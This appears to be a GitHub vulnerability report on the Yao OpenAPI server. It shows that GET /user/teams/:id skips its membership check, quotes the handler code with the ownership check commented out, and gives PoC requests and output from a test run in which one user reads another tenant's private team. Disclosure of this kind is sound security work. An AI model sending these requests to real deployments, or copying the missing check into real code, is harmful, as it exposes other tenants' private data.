Skip to content

Missing membership check on GET /user/teams/:id allows any authenticated user to read other tenants' team details #1553

Description

@geo-chen

Summary

The OpenAPI team-detail endpoint GET /user/teams/:id (handler GinTeamGet in openapi/user/team.go) authenticates the caller but never verifies that the caller belongs to the team identified by the path parameter. The team is fetched purely by the supplied team_id, so any logged-in user can read the full record of any team in the system, including name, description, owner_id and team settings. The ownership check that exists on the sibling write endpoints is present in source but commented out on this read endpoint.

Details

In openapi/user/team.go, GinTeamGet validates only that a user is authenticated, then loads the team by the path-supplied team_id with no membership or ownership filter:

func GinTeamGet(c *gin.Context) {
    authInfo := authorized.GetInfo(c)        // authentication only
    ...
    teamID := c.Param("id")
    ...
    // line 115: fetch by team_id, NO user/ownership filter
    teamData, err := provider.GetTeamDetail(c.Request.Context(), teamID)
    ...
    // lines 135-145: the ownership check is COMMENTED OUT
    // // Check if user owns this team
    // ownerID := utils.ToString(teamData["owner_id"])
    // if ownerID != authInfo.UserID {
    // 	... StatusForbidden ...
    // }

    team := mapToTeamDetailResponse(teamData) // returns owner_id, name, settings, ...
    response.RespondWithSuccess(c, http.StatusOK, team)
}

GetTeamDetail (openapi/oauth/providers/user/team.go) queries only WHERE team_id = :id, with no user scoping:

func (u *DefaultUser) GetTeamDetail(ctx context.Context, teamID string) (maps.MapStrAny, error) {
    m := model.Select(u.teamModel)
    teams, err := m.Get(model.QueryParam{
        Select: u.teamDetailFields,
        Wheres: []model.QueryWhere{ {Column: "team_id", Value: teamID} },
        Limit:  1,
    })
    ...
}

This is a sibling-path asymmetry. Every adjacent team operation enforces authorization on the same team_id:

  • teamUpdate (PUT /user/teams/:id) checks ownerID != userID and returns "access denied".
  • teamDelete (DELETE /user/teams/:id) performs the same owner check.
  • memberGet / memberList / memberUpdate call checkTeamAccess(ctx, teamID, userID) and reject non-members.

Only GinTeamGet skips the check. team_id is well known to current and former team members and collaborators (it is returned in a member's own GET /user/teams list, in member-management responses, and used in collaboration URLs). A user who is removed from a team therefore keeps permanent read access to that team's details even though every write and member endpoint correctly denies them.

PoC

Prerequisites: a running Yao OpenAPI server with the user provider enabled. Two ordinary user accounts (victim and attacker); the attacker is NOT a member of the victim's team. The attacker knows the victim's team_id (e.g. from when they were previously a member, or from a shared collaboration URL).

This was validated in-process against the real OpenAPI router using the project's own test harness (testutils.Prepare boots the full server, SQLite primary DB, Redis session store). The test provisions two distinct users, has the victim create a private team, then has the attacker call the endpoint with their own token.

Steps:

  1. Victim creates a team:
    POST /v1/openapi/user/teams
    Authorization: Bearer <victim_token>
    Content-Type: application/json
    {"name":"Victim Secret Team","description":"Confidential -- attacker must not read this","settings":{"theme":"dark","visibility":"private"}}

    Response 201 includes "team_id":"575150189440".

  2. Attacker (a different user, never a member of that team) reads it:
    GET /v1/openapi/user/teams/575150189440
    Authorization: Bearer <attacker_token>

  3. Contrast -- the same attacker attempts to modify the same team:
    PUT /v1/openapi/user/teams/575150189440
    Authorization: Bearer <attacker_token>
    {"name":"hacked"}

Observed output from the live run:

VICTIM   user_id = test_user_1781499446388099430
ATTACKER user_id = test_user_1781499446407269978
VICTIM team_id = 575150189440 (owner=test_user_1781499446388099430)

ATTACKER GET /user/teams/575150189440 -> HTTP 200
ATTACKER received body:
{"id":0,"team_id":"575150189440","name":"Victim Secret Team",
 "description":"Confidential -- attacker must not read this",
 "owner_id":"test_user_1781499446388099430","status":"active",
 "is_verified":false,"created_at":"2026-06-15T04:57:26Z",
 "updated_at":"2026-06-15T12:57:26Z",
 "settings":{"theme":"dark","visibility":"private"}}

CONTRAST attacker PUT /user/teams/575150189440 -> HTTP 403
 body={"error":"access_denied","error_description":"access denied: user does not own this team"}

The attacker, who is not a member of the victim's team, reads the victim's full private team record (HTTP 200). The sibling write endpoint correctly rejects the same attacker with HTTP 403, confirming the read endpoint is missing the authorization control rather than the design intending public reads.

Impact

Any authenticated user (the lowest privilege in the system) can read the full details of any team whose team_id they know, across tenant boundaries: team name, description, owner user_id, verification status, and team settings. The most reliable exploitation path is a former member or removed member, who already knows the team_id and retains read access indefinitely despite losing all other access. Scope is Changed because the authorization boundary crossed is the tenant/team the authenticated principal does not belong to.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions